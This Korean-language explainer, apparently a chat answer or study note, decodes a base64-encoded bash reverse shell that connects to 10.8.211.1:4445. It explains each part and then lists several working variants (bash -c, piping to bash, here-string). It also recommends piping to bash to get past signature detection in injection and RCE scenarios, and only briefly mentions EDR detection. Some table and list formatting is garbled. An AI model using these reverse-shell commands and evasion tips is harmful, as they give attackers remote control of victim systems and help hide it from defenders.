echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjguMjExLjEvNDQ0NSAwPiYx | base64 -d | bash
우선 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjguMjExLjEvNDQ0NSAwPiYx
이건 base64로 인코딩된 문자열입니다.
디코딩해 보면:
/bin/bash -i >& /dev/tcp/10.8.211.1/4445 0>&1
/bin/bash -i >& /dev/tcp/10.8.211.1/4445 0>&1
이건 bash 리버스 쉘 명령어입니다.
| 구성 | 설명 |
|---|---|
/bin/bash -i | 인터랙티브 쉘 실행 |
>& /dev/tcp/10.8.211.1/4445 | stdout과 stderr를 TCP 연결로 보냄 |
0>&1 | stdin을 TCP 연결에서 입력 받음 |
즉, 이 시스템에서 10.8.211.1:4445로 리버스 쉘 연결을 시도한다는 의미입니다.
echo [리버스 쉘을 base64로 인코딩한 문자열] | base64 -d | bash
는 다음과 같은 효과를 가짐:
echo | base64 -d | bash 패턴은 위험 징후로 간주해야 하며, EDR 및 로그 기반 탐지 가능4445에서 리스닝 중인 공격자가 쉘을 획득하게 됨이건 컴퓨터에게 "조용히 저쪽 IP에 연결해서 몰래 말 잘 듣는 터미널 열어줘"라고 시키는 비밀 메시지야. 컴퓨터는 그 메시지를 풀어서(디코딩해서) 바로 실행하게 돼.
bash -c vs bash <<< vs bash |bash -c 'sh -i >& /dev/tcp/10.8.211.1/4445 0>&1'
혹은
bash -c "{ sh -i >& /dev/tcp/10.8.211.1/4445 0>&1; }"
bash -c는 명령어를 인자(argument) 로 받아서 실행{}는 여러 명령어를 하나로 묶을 때 사용 (선택사항)| bash는 언제 쓰냐?echo 'sh -i >& /dev/tcp/10.8.211.1/4445 0>&1' | bash
이건 파이프를 통해 명령어를 표준 입력(stdin) 으로 전달하고,
bash가 이걸 읽어서 실행하는 방식입니다.
즉, bash는 아무 인자 없이 실행되면, stdin에서 명령어 읽어서 수행함.
| 방식 | 설명 | |
|---|---|---|
bash -c '명령어' | 명령어를 인자로 넘김. 명시적, 보안 우회 시 유용 | |
| `echo '명령어' | bash` | 명령어를 stdin으로 넘김. base64 디코딩 결과를 직접 실행할 때 많이 씀 |
bash <<< "명령어" | Here-string으로 명령어 한 줄 넘김 (입력 리다이렉션) | |
{ 명령어; } | 명령 블럭 (복수 명령어 묶음, 조건문 등에 사용) |
| bash가 많이 쓰일까?bash -c로 넘기면 시그니처 탐지되기 쉬움 → | bash로 흐름을 바꿔 탐지 우회echo ... | base64 -d | bash는 단 한 줄로 인젝션 가능{}는 명령 블럭을 묶을 때 사용하고bash -c는 명령을 문자열 인자로 넘길 때 사용하는 게 일반적입니다.| bash는 표준입력 기반 실행으로, 우회 및 RCE 상황에서 매우 자주 쓰이는 기법입니다.